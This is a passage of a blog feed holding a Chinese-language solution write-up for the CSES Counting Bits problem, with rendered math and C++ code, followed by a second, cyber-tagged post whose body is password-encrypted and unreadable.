2^3\times\frac12=12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span></span></span></span> 個 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span><br>接著我們要找出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>1000</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>1001</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>1010</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>1011</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>1100</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>1101</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>1110</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">1000_2, 1001_2, 1010_2, 1011_2, 1100_2, 1101_2, 1110_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">100</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">100</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">101</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">101</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">110</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">110</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">111</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 中所有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 的數量<br>首先最高位的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>14</mn><mo>−</mo><mn>8</mn><mo>+</mo><mn>1</mn><mo>=</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">14-8+1=7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">14</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">8</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span> 個，將這些首位的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 拔掉，上面那 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>7</mn></mrow><annotation encoding="application/x-tex">7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span> 個數字變成<br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>000</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>001</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>010</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>011</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>100</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>101</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>110</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">000_2, 001_2, 010_2, 011_2, 100_2, 101_2, 110_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">00</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">00</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">01</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">01</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">10</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">10</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">11</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><br>有沒有發現！這不是一樣的問題嗎？找出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> ~ <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>110</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">110_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">11</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> (也就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>6</mn></mrow><annotation encoding="application/x-tex">6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>) 中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 的數量！</p><p>所以我們可以用上遞迴！不過有遞迴就要有 base case，不難想到這裡的 base case 就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">n=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 時，回傳 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></p><h2 id="%E7%A8%8B%E5%BC%8F%E7%A2%BC" tabindex="-1" id="程式碼">程式碼</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span>ll <span class="token function">counting_bits</span><span class="token punctuation">(</span>ll n<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// base case</span>    <span class="token keyword">int</span> k <span class="token operator">=</span> <span class="token function">__lg</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span>    ll count <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    ll m <span class="token operator">=</span> <span class="token number">1LL</span> <span class="token operator">&lt;&lt;</span> k<span class="token punctuation">;</span> <span class="token comment">// 記得要 1LL 啊！我第一次送的時候漏掉這個所以錯了</span>    count <span class="token operator">+=</span> <span class="token number">1LL</span> <span class="token operator">*</span> k <span class="token operator">*</span> <span class="token punctuation">(</span>m <span class="token operator">>></span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    count <span class="token operator">+=</span> n <span class="token operator">-</span> m <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>    count <span class="token operator">+=</span> <span class="token function">counting_bits</span><span class="token punctuation">(</span>n <span class="token operator">-</span> m<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// n - m 是把最高位拔掉，列個二進位的直式減法就顯然了</span>    <span class="token keyword">return</span> count<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    ll n<span class="token punctuation">;</span>    cin <span class="token operator">>></span> n<span class="token punctuation">;</span>    cout <span class="token operator">&lt;&lt;</span> <span class="token function">counting_bits</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p><s>笑死 CTF 解太多，文章結尾都很想來個「所以 Flag 就是……」</s></p></blockquote>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/07/12/CSES-Counting-Bits-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/07/12/CSES-Counting-Bits-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-07-12T02:42:28.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<p>題目見網址：<a href="https://cses.fi/problemset/task/1146/">https://cses.fi/problemset/task/1]]>
    </summary>
    <title>CSES Counting Bits 題解</title>
    <updated>2026-07-12T02:42:28.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="cloud" scheme="https://r3xdj.pages.dev/tags/cloud/"/>
    <category term="aws" scheme="https://r3xdj.pages.dev/tags/aws/"/>
    <category term="osint" scheme="https://r3xdj.pages.dev/tags/osint/"/>
    <content>
      <![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt"     data-hbe-format="4"     data-wpm="Oh, this is an invalid password. Check and try again, please."     data-whm="Oh, this is an invalid password. Check and try again, please."     data-salt="c93250e2a053922f9aede0cb1ef2fc9ebd1840224dc2a028f51777f54883b96d"     data-nonce="fee8f22b9d260161e8d0c844"     data-kdf-iterations="600000"     data-auto-save="false">  <script id="hbeData" type="hbeData">    2c03bb0119e7f9605b130c4940e6165fc652ea5e3b823b3e712a4d4ab04d5d90b5c1d1c6169a2f1200f702f5da7697405cd9e126eed2b557772f03cf6595a250fa3784041a62092c4abb89af9f4d221a6d9febd5354ff88e36445c2bd33bc4c687e79cf81355a5a8d127279d1bfc419545052c3e532533f8dd2f2b4717e2fbd3f2bbee51fb2813be8b76000e3a4f2a6db2ba72177c1cc2506eb65f4aa7a558075690fb2714597c88f970a4de1393c031f322a45f13925fb640d6b965f78cbfdfb59261cf480d3abe086f28f2cb768529b28fde4bb1c816abf441d3f68a4f4520167621527ffc60b61c75b31390137c748616d4a7a07107501336e3fff9005bd619cdbbf2a43f1c1b20d464de0f2b0e8554c8c45a7d2012dd5431d4ba070c8ea5f8e53881387fb88443aff72a91ce16a0d6844dc2201ec45427e78e8409897b2512484bfdeaeaada944bbbd4ead405f17c6b00d7671fe09f8c4d3f16ff0e5d4c681b2af37eb1b60b29878dde0dae48a8ca026d7d7e38f3f33febcd34a15949db0c9487123960fed7a2865b595a0b300e305829c32ebedc8e5f40f6ac7134269438a90849ea4b727888797bd72c06ac2bd9eed13c7e3deeb2be5644090f4871bcf8d1d0f3614b94a5f703f68af129e78fb759db53efff0f65bb046199c555fccfc5236a202e2dc68342d392f710f2a7a84ac081797672147b2fc4b2f272ddd994fddae0804c8d4d5312921062943826ed0a4f0c6f815dd25d25fba224c46328bd0d720da7e27553f33376ef6d98ba65ab0626afb79d6260d2243590fe6ae43b7feeaf264379f26438361a18a27be2f4560ed238a302a057885a9f69d204f0f628a2581502c25c1de60d3d942b6591e332cafea8b61336f0ead0a8204cc068484fc81a488b6cca260e27e11d413c16af29f158fa266f2da907f836cd92e895c106b7f9c751e777e060bda0e2f6dd93c4c83917561aafa71434a0038622feb530acb3bc7894bf5ff5efd5901a4643a6e02b4e3b3f189c7f4577d6556e7567a88dc7d5ca35e6f54f97133e62ebf39b2a0d37e84e6ace92ba13cbaf65dff2bdbb977a18c7e1c951e9d3896ac470fcfb9d9196635ff9c88d72c10703ba0e42a4291263f66be71160bd3ddda2d82fbef402fb81f53580753a32091429933ecc7d84de4fb3303107aa9d57919d93451452b7a7aafc0aabdb2015614b3e578241ff405a177ab2f88e328add5945403557ebe5a68ccb0985e923e38262bc8e0862a37ffd88765faf2f8844d194b035f3406ef2953479d7704361298ca17e59319248a0777685ce13e51aec3c6b30fb07a1504522a28895c16263f63f8db43ef6c146e4e8a320408aa010c1f7024aa9e4a793d94ad5ec6df6486b85e94c1e0964fc73a0f5f1d375cadc525ae6cc44bcfd03d9a05a0dfa6245667b4ff6e2718001e6fac76e59e00b027638ca4cc2b9b43d4edf3b7936ceb06f4e0f8b88018685ae90b99832050e04ba7004e95f0ca216dd78c9d9859f0d9c3ccf8ad580c95e96aa5d5c544da8686bf1611a2d3f03b0f01250a8822ba10887eb712485c260b568220323baf6b10dfd9c1ac17cd7fdf0f85310babc2624bf2d541fb99992effff3d0af5b9393bb55c0f706806cb81f27c615220905cbb5178f0832adeb27574f8a65eb073b34c717488bd17d373cc5df3ebd4835c7a93d49189eb3f936acb72d1d4c43e89b043bc489fdb6506563b3bd7a09448865697bd915232349b9235e226a14a8fb3b46959c41ad9663cb46201e062b82bd5c432f5b2681194993e08143d14267198ab68ad3559f25f26f322010770caa05da8f6555ca38dcbd601a076695f876eda78974be023735093822554c731ad4c85c49f453fb3d9a07412aca94baeaf0ae270e535b32a8959f093a6e05615f495d7e32320dc6f6b629e11f3f8093b0db71c2aadeaa30e4360883624e03a92208b90665460d26cebd9cee31a4ec6bacc715929c721ecb394a78db071d4962f4ea8f5bab3fa69a801d7bfa7f1a2a08975a54d60538f124a53dad6883c91da27b14730278eb7b350b041e4a5e9934dc113cfd3adbeae9ebcb06f84acaff8fee9e0d028d260c53c412c69f9768d8701ec395d82b2a64b7151add4156efd9f9049198848e30c6c643bd706308eb36a496226281af6068b1b27a4364b1d48518ca6b0054c02a949420a132a633a7e70f2d1a9c74434495e67020561a0a09e8c143fe3fe6e410e3f71a4fac75f696915e90a9930cb45a592d82a19b92487f5d906c64a1965143c22ee85807dc590d2c52b1dae9c48bee24bf26fdd19e3a760faf60af3552f987ff295d8c6fdb667071526a37270f854a70cc444d316530a41fc1c030f54f169c2f117164ffb90d4a307eb19cc190d5a79ef4124136738e464d0a25bd415b72f35505a15b5ebd70eb985a9b44f32ef93cf08ad31b25d54571cb49a80510755fca2c8a5532a8c5ce55f8ae643b5e3eb6358fd881aa56f98e28215e1e406e64728fb24d85ad737e4b4f0efd2e327eb6abe2804f8406802caf643455ff3634a0ceaaa8ed3e8d00d7b1a30dc8eb921c9a42421e3b42f5b45ceeecd53c7852c34296d18cd9c06e03d826cc186da1ad643f8711d68641fcd265a53dc65d1959fd998cf67f6723cd00c92a4a8fdbc12a40a0fdfcd7d9b055c4bf2f1ff11bf9f60a0d14bb2fe10c9a2845ebf901000c1208c11e9b2de0c35abe65102f08599c37bc67dd809609f402a785f432efe93abcc85560758caffd84b4a9639b55e28586460d6f453cbf28a09dfc7c03df3a4c6fb350a2093924f2d5678809f00d3727eb9963f2a75e9b79ada011402355f208f93696f8e0ecb4713ce42beb0f96e6d98e9630ddcb1488591ca7354d72ea1b7c30b2694df171dfc6987ce054a6b29a4826b98bf4d297ceeba8232b332f36d89f2110b12dce6cfd523fe87fd7c378173689d755032c5db6617cbcb054ea9492444819bd8788e0199022ebb805aab598e3a56890701412894c7d9a6b008492d1a9e423b2bc0a41eba45813815849628e733de4f8611f540b327b6fafe5825deaa2f2f7d03d9cc5aa2969c5aec8c398ca5c41b558567e7d0f5cdea13c74e9346a90069847f7a63c22752499dd904061a35c5bedf3bc02ef4734ef9259338853be7dc1ea2be6171345a79abea21ab05dce6b7acd959a91424744c00ba786f946c8e339a05a35cdcd30133de5a36a94832670b95b85028dc1fadf333c43658aa391f5d545b6ef5e3bcb476e75d7aee32d87c00658511d7e604d6e1dfcf439301a0407a3a4b7d41df951aa387f178e7f555257f616a0dd3c80d6389fbf046bf4dd89ffc869836eceba61b95d50df653ff14ed6f09949a8ca134fdec532c952c03774693d585997ca66b9816e59bc138eedeabf48d630a79e6072e8a2f1b17fd7f1e4c815f3a310e37e0e2bcb8dfbae8040a64d4a16c9bcb29dbd371671c023f49d092a9e42e280c994dad8b4e8872b891250bd26f6842f08b3f23cf2b24308e2f4964464c9063bd8fcd74b4b3e53f488c635fef3131440fa7b6be6bb3dd54c3ddcf122f3840fbdc323b3e0e9f113f367bd6ec18880b4ae5355f751114cb6e9b008f36066f655817ee9b30a7910b31c942d22a9c38e61cac65bf84420ab543e75895e5ed19ea4a5783fcdab8dbb81b81fd19e3e122e73f4ef715414b03a38f12397db7b3bdd3d8259dbdcb6cba49c541d6f96d77674a67262f0aebb105a6157d2098b0be6b8e437af5b699bc8db896f732195738017bd0e1ec94793bd5d70403be409e01b3f406d4783e75792b04711330fbb88d1a1fe0816509b27570f38aefe5a5cca50171ed7e7ed713f8f4b277b70fada57f8127321b6158495daa792dfae1df25354c30f105e16664461685283fcbe35ec323f65d79fb8f46978d7688584c6a1d812ae2ee219f6959580d0f5820fd55a6af5a73ba81ed8cce8bb1c9c224aaffe33ac0422d1b399412d49317f9173c278a0881c621bbbe620cacaa91c68ec6934cd5ea9040be4373638110df6f9e804e343dd7f2fda968cc46af71ef7fc1f6a0977e93f36e5ebbdaa3c8b0a4b4d7ea895a351dba54d456f237b0d5ee2d0763854804ad4d5f8e5445327f0663be8935599f55ec21e3f66a315083eccf74dea4d510647971731324378c549114efeeaca3d58f69d5b77bbe20dc6abd35bcd02ca5bde52e1b461612147ecffc818811f3ccf04ae3bdfea87caa7ad354d27fc9684311fd1391858519504e8043759bea9666b91e0e2e2f0b285d5f6db11f417333e07f69d0bff48d2df20241dd05e8dbc989499058505f652d5cc4125ccdf3d3aa700d40fa886c9435bc57bdbd5e83786af0db464d077431ed1b937ca2ce2c817e870986d876fe3178083e4da6b11e718d83cffef412107aebf88bcf939d0eccaf1e86fdf3454013acba98b2a2db8b3e5c6ec0ff20f7cb175a171bf26e53e52b56dccf078f11b484ceea293a33e8424bf0e6529f56bc32da68765879006ae17d04b56937fbc3df34b43ab140eaf77e0726e20bf62128d77bc6a3d0cacaba166a87b947d02b852b5606d4f11394f33285b75b4157f2f41ce1d222c3ac249e1ea086fdffc36c3c5e294567cacca17f0a3ff15bf0713821b7527cf63cd2e68de67ad994baae05589ba382b4de14362dd3f0a622c01b2484654d5eb8e75fed75e2314736dd4f1774dc37236f40a398fdc94fbfe2cb9933a92a97dcdf2d3d593c47e5eaebce8a42309fe313ce90ee1d2a9d2a2c862f2fddd36749d3d113c3b36e4b939ed77f2fd1ea686c2e777e8d4e527e4c2a38f5ea32bb5edbd3fc7af316258a8e18766ed1f5513374db804eae03ede42664ba9a003b5d7c3f199646800216bb3b3bcd731d52619b3ffa4d93828412fe8003e539406ef640df65b7fc5f3a3524225547a13f5d1ba82c59f3e0bea805796cf1c9481c5b133f376adad41215d085809ae149c3624d55f2f5929a1c572f5f2761826eec2310f834a3c097cedee617547350b8f8